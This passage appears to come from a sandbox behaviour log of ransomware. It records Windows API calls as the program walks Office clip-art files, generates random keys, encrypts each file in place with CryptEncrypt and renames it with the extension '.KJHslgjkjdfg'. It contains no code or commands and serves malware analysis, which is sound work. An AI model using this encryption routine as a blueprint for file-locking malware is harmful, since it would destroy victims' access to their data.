lpOverlapped=0x0) returned 1 [0204.428] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.429] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.429] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.429] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.429] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.429] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x21c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x21c2, lpOverlapped=0x0) returned 1 [0204.430] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21d0, dwBufLen=0x21d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21d0) returned 1 [0204.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.430] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x21d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x21d0, lpOverlapped=0x0) returned 1 [0204.430] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.431] SetEndOfFile (hFile=0x130) returned 1 [0204.433] GetProcessHeap () returned 0x990000 [0204.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.433] GetProcessHeap () returned 0x990000 [0204.433] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.kjhslgjkjdfg")) returned 1 [0204.435] CloseHandle (hObject=0x130) returned 1 [0204.435] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1 [0204.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.436] GetProcessHeap () returned 0x990000 [0204.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.436] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.436] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.438] GetProcessHeap () returned 0x990000 [0204.438] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.438] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.438] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.439] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.439] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.439] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.439] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.439] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.439] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x21ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x21ec, lpOverlapped=0x0) returned 1 [0204.440] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x21f0) returned 1 [0204.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.440] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x21f0, lpOverlapped=0x0) returned 1 [0204.440] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.441] SetEndOfFile (hFile=0x130) returned 1 [0204.443] GetProcessHeap () returned 0x990000 [0204.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.443] GetProcessHeap () returned 0x990000 [0204.443] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.kjhslgjkjdfg")) returned 1 [0204.445] CloseHandle (hObject=0x130) returned 1 [0204.445] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1 [0204.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.447] GetProcessHeap () returned 0x990000 [0204.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.447] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0204.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.449] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.449] GetProcessHeap () returned 0x990000 [0204.449] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.449] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.449] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.449] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.450] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.450] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.450] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.450] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.450] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ad4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ad4, lpOverlapped=0x0) returned 1 [0204.451] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ae0, dwBufLen=0x2ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ae0) returned 1 [0204.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.451] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2ae0, lpOverlapped=0x0) returned 1 [0204.451] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.451] SetEndOfFile (hFile=0x130) returned 1 [0204.454] GetProcessHeap () returned 0x990000 [0204.454] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.454] GetProcessHeap () returned 0x990000 [0204.454] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.kjhslgjkjdfg")) returned 1 [0204.455] CloseHandle (hObject=0x130) returned 1 [0204.456] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1 [0204.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.456] GetProcessHeap () returned 0x990000 [0204.456] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.456] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.457] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0204.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.461] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.461] GetProcessHeap () returned 0x990000 [0204.461] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.461] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.461] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.461] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.461] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.461] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.461] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.461] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.462] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.462] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x194a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x194a, lpOverlapped=0x0) returned 1 [0204.463] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1950, dwBufLen=0x1950 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1950) returned 1 [0204.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.463] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1950, lpOverlapped=0x0) returned 1 [0204.463] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.463] SetEndOfFile (hFile=0x130) returned 1 [0204.466] GetProcessHeap () returned 0x990000 [0204.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.466] GetProcessHeap () returned 0x990000 [0204.466] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.kjhslgjkjdfg")) returned 1 [0204.468] CloseHandle (hObject=0x130) returned 1 [0204.468] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1 [0204.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.469] GetProcessHeap () returned 0x990000 [0204.469] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.469] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.469] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0204.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.472] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.472] GetProcessHeap () returned 0x990000 [0204.472] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.472] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.472] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.472] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.472] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.472] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.472] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.472] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.472] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.473] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.473] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x38c6, lpNumberOfBytesRead=0x29df27c, 